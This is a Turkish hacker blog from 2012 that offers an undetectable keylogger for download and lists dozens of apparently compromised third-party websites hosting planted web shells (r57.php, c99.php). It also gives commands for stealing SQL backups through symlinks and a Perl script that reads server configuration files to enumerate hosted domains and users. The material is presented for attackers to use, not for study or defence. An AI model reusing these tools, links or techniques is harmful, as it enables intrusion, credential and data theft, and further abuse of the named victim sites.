Th4 MasK # Bilinmezlik Diyarından: server

Selamın Aleykum Arkadaşlar;
Sizler İçin Bir Keylogger Yaptım Sorunsuz Çalışmaktadır.

Virüs Tamamen Fud'dur.Antivürüs Tanımaz ;)

Tarama sonucu : http://virusscan.jotti.org/tr/scanresult/5e2d30a787181814daca703062bcff1051af4ed2

Video izlemek : http://www.youtube.com/watch?v=maHWsE090dI

İndirmek için : http://s3.dosya.tc/server2/qKzPeH/Xonix.rar.html

Ecto kardeşimin yaptıgı bir keylogger.

1 sw daha

http://www.ecoferinvestment.com/th4mask.php

4 Ağustos 2012 Cumartesi

1 sw daha

http://www.panoramaonline.com.br/tmp/r.php

3 Ağustos 2012 Cuma

iki adet shell

http://holprop.nl/c99.php
http://lad.tgvik.ru/tmp/z.php

13 Temmuz 2012 Cuma

6 Shell Atılmış Site

http://ellinikaakinita.gr/tmp/r57.php
http://www.dedu.gr/wp-content/themes/twentyten/loop-page.php
http://driversland.gr/tmp/r57.php
http://www.sites4all.gr/tmp/r57.php
http://phenomenon-pro.gr/tmp/r57.php
http://pyromania.gr/tmp/r57.php

10 Sw Akar

http://www.pylibay.gr/tmp/r57.php
http://www.webcreations-cr.com/wp-content/themes/Infinity-theme/theme/footer.php
http://violitronika.com/tmp/r57.php
http://www.volosluxurytaxi.gr/tmp/r57.php
http://sakispanagiotopoulos.gr/tmp/r57.php
http://www.sotiriaparamonas.gr/tmp/r57.php
http://seorank.eu/tmp/r57.php
http://www.sports.net.gr/tmp/r57.php
http://xirofotos.gr/tmp/r57.php
http://www.tentopan.net/tmp/r57.php

25 Ocak 2012 Çarşamba

Serverdaki Yedekleri Çek

ls -la /home/*/public_html/*.sql\ yap yedekler listelenir



sonra ln -s /home/user/public_html/falansiteyedek.sql th4.sql diyerek çekip indirin

24 Ocak 2012 Salı

Serverdaki Site İsimlerini Görme

#!/usr/bin/perl -I/usr/local/bandmin
print "Content-type: text/html\n\n";
print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="Content-Language" content="en-us" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>http://www.ihtilal.in</title>
<style type="text/css">
.newStyle1 {
background-color: #000000;
font-family: "Courier New", Courier, monospace;
font-size: large;
font-weight: bold;
color: #FFFFFF;
}
.style1 {
text-align: center;
}
</style>
</head>

<body class="newStyle1">

Domains & Users 
Bypass
System-Atic 
 http://ihtilal.in
';
open (d0mains, '/etc/named.conf') or $err=1;
@kr = <d0mains>;
close d0mains;
if ($err){
print (' C0uldn\'t Bypass it , Sorry');
die();
}else{
print ' 
H3r3 !s 411 D0m4!ns & Us3rs :
';}
foreach my $one (@kr)
{
if($one =~ m/.*?zone "(.*?)" {/){
$filename= "/etc/valiases/".$1;
$owner = getpwuid((stat($filename))[4]);
print ''.$1.' : '.$owner.'
';
}
}
print'
</body></html>';

Th4 MasK # Bilinmezlik Diyarından

6 Ekim 2012 Cumartesi

2 server

22 Eylül 2012 Cumartesi

1 sw

15 Ağustos 2012 Çarşamba

Götürrr

Sw

13 Ağustos 2012 Pazartesi

1 sw Daha

8 Ağustos 2012 Çarşamba

1 Server DAHA

6 Ağustos 2012 Pazartesi

1 sw

5 Ağustos 2012 Pazar

Xonix Keylogger

1 sw daha

4 Ağustos 2012 Cumartesi

1 sw daha

3 Ağustos 2012 Cuma

iki adet shell

13 Temmuz 2012 Cuma

6 Shell Atılmış Site

10 Sw Akar

25 Ocak 2012 Çarşamba

Serverdaki Yedekleri Çek

24 Ocak 2012 Salı

Serverdaki Site İsimlerini Görme